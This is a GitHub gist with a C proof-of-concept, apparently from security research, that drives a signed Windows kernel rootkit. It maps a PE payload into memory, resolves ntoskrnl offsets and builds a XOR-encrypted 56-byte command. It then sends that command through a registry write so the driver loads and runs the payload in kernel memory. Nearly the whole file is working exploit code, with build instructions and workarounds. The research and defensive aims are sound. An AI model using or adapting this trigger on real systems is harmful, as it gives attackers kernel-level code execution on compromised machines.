Created
March 19, 2026 14:42
-
-
Save pierrehpezier/75a32bf4ee05c4b16004041cab6ea8c0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Copyright (c) 2026 Nextron Systems | |
| * Author: Pierre-Henri Pezier | |
| * | |
| * POC: Trigger attack chain for the signed kernel rootkit | |
| * | |
| * This demonstrates the usermode-to-kernel code execution pipeline: | |
| * 1. Map a PE payload into process memory | |
| * 2. Resolve ntoskrnl function RVAs from usermode | |
| * 3. Build the 56-byte XOR-encrypted command buffer | |
| * 4. Trigger via RegSetValueEx (any key, any value name) | |
| * 5. Driver intercepts, loads PE into kernel pool, executes it | |
| * 6. RegSetValueEx returns ERROR_ACCESS_DENIED (expected) | |
| * | |
| * Build: cl /W4 poc_trigger.c advapi32.lib | |
| */ | |
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <stdint.h> | |
| #pragma pack(push, 1) | |
| typedef struct _C2_COMMAND { | |
| uint64_t command_code; /* +0x00 0x77 = load PE */ | |
| uint64_t usermode_pe_ptr; /* +0x08 VA of raw PE mapped in this process */ | |
| uint64_t ntoskrnl_rva_1; /* +0x10 ntoskrnl offset for memory allocator */ | |
| uint64_t ntoskrnl_rva_2; /* +0x18 ntoskrnl offset for memory protector */ | |
| uint64_t result_ptr; /* +0x20 VA of result variable (written to 1) */ | |
| uint64_t reserved; /* +0x28 unused */ | |
| uint8_t xor_key; /* +0x30 single-byte XOR key for first 48 bytes */ | |
| uint8_t padding[7]; /* +0x31 padding to 56 bytes */ | |
| } C2_COMMAND; /* total: 0x38 (56) bytes */ | |
| #pragma pack(pop) | |
| /* | |
| * Resolve an RVA (offset) within ntoskrnl.exe. | |
| * | |
| * RE_ALLOC_EXECUTABLE does: func_ptr = RE_LOADLIBRARY("ntoskrnl.exe") + rva | |
| * The driver resolves the kernel ntoskrnl base independently, so the RVAs | |
| * we provide are just offsets within the PE — same in usermode and kernel. | |
| * | |
| * IMPORTANT: The two functions used by the driver do NOT match standard | |
| * exported ntoskrnl APIs: | |
| * func_alloc(SizeOfImage, NtCurrentProcess(-1), 0, 0) -> returns ptr | |
| * func_protect(ptr, SizeOfImage, PAGE_EXECUTE_READWRITE) -> returns BOOL | |
| * | |
| * These are likely internal/unexported ntoskrnl routines. The offsets are | |
| * version-dependent and must be found via disassembly of your target ntoskrnl. | |
| * | |
| * If they happen to be exported, this helper resolves them. Otherwise, | |
| * hardcode the offsets directly (see MANUAL_RVA mode below). | |
| */ | |
| static uint64_t resolve_ntoskrnl_rva(HMODULE hNtos, const char *func_name) | |
| { | |
| FARPROC proc = GetProcAddress(hNtos, func_name); | |
| if (!proc) { | |
| printf("[-] Failed to resolve %s (may be unexported)\n", func_name); | |
| return 0; | |
| } | |
| uint64_t rva = (uint64_t)((uintptr_t)proc - (uintptr_t)hNtos); | |
| printf("[+] %s RVA = 0x%llx\n", func_name, rva); | |
| return rva; | |
| } | |
| /* | |
| * XOR-encrypt the first 48 bytes of the command buffer with the key at offset 0x30. | |
| */ | |
| static void xor_encrypt(C2_COMMAND *cmd) | |
| { | |
| uint8_t *buf = (uint8_t *)cmd; | |
| for (int i = 0; i < 0x30; i++) { | |
| buf[i] ^= cmd->xor_key; | |
| } | |
| } | |
| /* | |
| * Load a PE file from disk into process memory (raw, not as a module). | |
| * The driver reads this directly from our address space since the | |
| * registry callback runs in our process context. | |
| */ | |
| static void *load_payload(const char *path, size_t *out_size) | |
| { | |
| HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, | |
| NULL, OPEN_EXISTING, 0, NULL); | |
| if (hFile == INVALID_HANDLE_VALUE) { | |
| printf("[-] Failed to open payload: %s\n", path); | |
| return NULL; | |
| } | |
| DWORD size = GetFileSize(hFile, NULL); | |
| void *buf = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (!buf) { | |
| CloseHandle(hFile); | |
| return NULL; | |
| } | |
| DWORD bytes_read; | |
| ReadFile(hFile, buf, size, &bytes_read, NULL); | |
| CloseHandle(hFile); | |
| if (out_size) *out_size = size; | |
| printf("[+] Loaded payload: %s (%u bytes) at 0x%p\n", path, size, buf); | |
| return buf; | |
| } | |
| int main(int argc, char **argv) | |
| { | |
| if (argc < 2) { | |
| printf("Usage: %s <payload.sys>\n", argv[0]); | |
| return 1; | |
| } | |
| const char *payload_path = argv[1]; | |
| /* | |
| * RE_ALLOC_EXECUTABLE resolves two ntoskrnl functions via offsets: | |
| * | |
| * func_alloc = ntoskrnl_base + rva_1 | |
| * called as: func_alloc(SizeOfImage, -1, 0, 0) | |
| * confirmed: MmAllocateContiguousMemory(NumberOfBytes, HighestAcceptableAddress) | |
| * | |
| * func_protect = ntoskrnl_base + rva_2 | |
| * called as: func_protect(alloc, SizeOfImage, 0x40) | |
| * UNKNOWN: unexported internal ntoskrnl function. | |
| * MmSecureVirtualMemory fails (rejects kernel addresses). | |
| * MmChangeImageProtection takes 4 args (doesn't match). | |
| * | |
| * WORKAROUND: reuse MmAllocateContiguousMemory RVA — it returns a | |
| * non-zero pointer which passes the "!= 0" success check. | |
| * Contiguous memory is already RWX on systems without HVCI. | |
| */ | |
| const char *alloc_func_name = "MmAllocateContiguousMemory"; | |
| const char *protect_func_name = "MmIsAddressValid"; /* workaround: returns TRUE for valid kernel addr */ | |
| /* Fallback: hardcode RVAs if export resolution fails (version-specific) */ | |
| uint64_t rva_alloc_manual = 0; | |
| uint64_t rva_protect_manual = 0; | |
| printf("[*] Rootkit POC trigger\n\n"); | |
| /* Step 1: Load PE payload into our address space */ | |
| size_t pe_size; | |
| void *pe_base = load_payload(payload_path, &pe_size); | |
| if (!pe_base) | |
| return 1; | |
| /* Step 2: Resolve ntoskrnl RVAs */ | |
| uint64_t rva_alloc = rva_alloc_manual; | |
| uint64_t rva_protect = rva_protect_manual; | |
| if (alloc_func_name || protect_func_name) { | |
| /* Try export-based resolution */ | |
| HMODULE hNtos = LoadLibraryExA("ntoskrnl.exe", NULL, | |
| DONT_RESOLVE_DLL_REFERENCES); | |
| if (!hNtos) { | |
| printf("[-] Failed to load ntoskrnl.exe\n"); | |
| return 1; | |
| } | |
| if (alloc_func_name) | |
| rva_alloc = resolve_ntoskrnl_rva(hNtos, alloc_func_name); | |
| if (protect_func_name) | |
| rva_protect = resolve_ntoskrnl_rva(hNtos, protect_func_name); | |
| FreeLibrary(hNtos); | |
| } | |
| if (!rva_alloc || !rva_protect) { | |
| printf("[-] Missing ntoskrnl RVAs. Set manual offsets or export names.\n"); | |
| printf(" Disassemble your target ntoskrnl.exe to find:\n"); | |
| printf(" rva_alloc: func(size, -1, 0, 0) -> ptr\n"); | |
| printf(" rva_protect: func(ptr, size, 0x40) -> BOOL\n"); | |
| return 1; | |
| } | |
| printf("[+] rva_alloc = 0x%llx\n", rva_alloc); | |
| printf("[+] rva_protect = 0x%llx\n", rva_protect); | |
| /* Step 3: Build the command buffer */ | |
| volatile uint64_t result = 0; | |
| C2_COMMAND cmd; | |
| memset(&cmd, 0, sizeof(cmd)); | |
| cmd.command_code = 0x77; | |
| cmd.usermode_pe_ptr = (uint64_t)(uintptr_t)pe_base; | |
| cmd.ntoskrnl_rva_1 = rva_alloc; | |
| cmd.ntoskrnl_rva_2 = rva_protect; | |
| cmd.result_ptr = (uint64_t)(uintptr_t)&result; | |
| cmd.reserved = 0; | |
| cmd.xor_key = 0x41; /* arbitrary, non-zero */ | |
| printf("\n[*] Command buffer (pre-encryption):\n"); | |
| printf(" command_code = 0x%llx\n", cmd.command_code); | |
| printf(" usermode_pe_ptr = 0x%llx\n", cmd.usermode_pe_ptr); | |
| printf(" ntoskrnl_rva_1 = 0x%llx\n", cmd.ntoskrnl_rva_1); | |
| printf(" ntoskrnl_rva_2 = 0x%llx\n", cmd.ntoskrnl_rva_2); | |
| printf(" result_ptr = 0x%llx\n", cmd.result_ptr); | |
| printf(" xor_key = 0x%02x\n", cmd.xor_key); | |
| /* Step 4: XOR-encrypt first 48 bytes */ | |
| xor_encrypt(&cmd); | |
| printf("\n[+] Command encrypted with key 0x%02x\n", ((uint8_t *)&cmd)[0x30]); | |
| /* Step 5: Trigger via registry write — any key, any value name */ | |
| HKEY hKey; | |
| LONG status = RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE", 0, KEY_SET_VALUE, &hKey); | |
| if (status != ERROR_SUCCESS) { | |
| printf("[-] RegOpenKeyEx failed: %ld\n", status); | |
| return 1; | |
| } | |
| printf("[*] Sending command via RegSetValueEx...\n"); | |
| status = RegSetValueExA(hKey, "Trigger", 0, REG_BINARY, | |
| (const BYTE *)&cmd, sizeof(cmd)); | |
| RegCloseKey(hKey); | |
| /* | |
| * Expected: ERROR_ACCESS_DENIED (5) | |
| * The driver intercepts the write, processes the command, | |
| * then returns STATUS_ACCESS_DENIED to block it. | |
| * This is SUCCESS from our perspective. | |
| */ | |
| if (status == ERROR_ACCESS_DENIED) { | |
| printf("[+] RegSetValueEx returned ACCESS_DENIED (expected)\n"); | |
| if (result == 1) { | |
| printf("[+] SUCCESS: Payload executed in kernel! result = %llu\n", result); | |
| } else { | |
| printf("[-] Driver processed command but payload did not signal success\n"); | |
| } | |
| } else if (status == ERROR_SUCCESS) { | |
| printf("[-] RegSetValueEx succeeded — driver did NOT intercept (not loaded?)\n"); | |
| /* Clean up the value we accidentally wrote */ | |
| RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE", 0, KEY_SET_VALUE, &hKey); | |
| RegDeleteValueA(hKey, "Trigger"); | |
| RegCloseKey(hKey); | |
| } else { | |
| printf("[-] RegSetValueEx returned unexpected error: %ld\n", status); | |
| } | |
| /* Cleanup */ | |
| VirtualFree(pe_base, 0, MEM_RELEASE); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment